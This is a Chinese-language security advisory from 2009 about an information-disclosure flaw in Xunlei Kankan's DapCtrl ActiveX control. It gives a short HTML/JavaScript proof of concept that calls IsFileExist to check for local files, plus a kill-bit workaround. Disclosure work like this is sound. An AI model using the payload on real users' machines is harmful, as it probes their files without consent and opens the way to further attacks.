安全研究
安全漏洞
迅雷看看DapCtrl ActiveX控件信息泄露漏洞
发布日期：2009-11-13
更新日期：2009-11-13
受影响系统：迅雷网络技术有限公司 迅雷看看 <= 3.2.0.248
描述：
迅雷看看是迅雷公司出品的一款支持在线播放的视频播放软件。
迅雷看看所安装的DapCtrl ActiveX控件（默认安装路径C:\Program Files\Common Files\Thunder Network\KanKan\DapCtrl.(版本).dll）存在信息泄露漏洞。利用特殊构造的网页，攻击者可能通过调用.IsFileExist（文件名）方法获得返回值来发现是否存在本地文件，进而展开其他攻击。利用此漏洞攻击者无法获得文件的内容。
<*来源：李永成 （
liyc_1986@163.com）
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<body>
<object classid="clsid:ACACC6EB-1FBA-4E13-A729-53AEB2DF54F8" id="target">
</object>
<input onclick="on()" type="button" value="test"/>
<script language="javascript">
function on()
{alert(target.IsFileExist("c:\\boot.ini"))}
</script>
</body>
</html>
建议：
临时解决方法：
* 为CLSID：ACACC6EB-1FBA-4E13-A729-53AEB2DF54F8设置kill-bit。
厂商补丁：
迅雷网络技术有限公司
--------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.xunlei.com/浏览次数：3427
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
